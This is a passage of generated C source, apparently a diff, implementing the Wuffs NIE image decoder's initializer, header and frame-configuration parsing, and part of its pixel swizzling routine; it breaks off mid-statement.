++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__swizzle( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_nie__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_nie__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_nie__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_nie__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_nie__decoder__initialize( ++ wuffs_nie__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_nie__decoder* ++wuffs_nie__decoder__alloc(void) { ++ wuffs_nie__decoder* x = ++ (wuffs_nie__decoder*)(calloc(1, sizeof(wuffs_nie__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_nie__decoder__initialize( ++ x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_nie__decoder(void) { ++ return sizeof(wuffs_nie__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func nie.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__get_quirk( ++ const wuffs_nie__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func nie.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__set_quirk( ++ wuffs_nie__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func nie.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_a = t_0; ++ } ++ if (v_a != 1169146734u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_a = t_1; ++ } ++ if (v_a == 879649535u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } else if (v_a == 946758399u) { ++ self->private_impl.f_pixfmt = 2164308923u; ++ } else if (v_a == 879780607u) { ++ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); ++ goto exit; ++ } else if (v_a == 946889471u) { ++ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_a = t_2; ++ } ++ if (v_a > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } else if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_a = t_3; ++ } ++ if (v_a > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ goto exit; ++ } else if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ 16u, ++ false); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_frame_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ 16u, ++ 0u, ++ false, ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func nie.decoder.decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func nie.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__do_decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func nie.decoder.swizzle ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_nie__decoder__swizzle( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += 1u; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ break; ++ } ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ v_src_bytes_per_pixel = 4u; ++ if (self->private_impl.f_pixfmt == 2164308923u) { ++ v_src_bytes_per_pixel = 8u; ++ } ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if 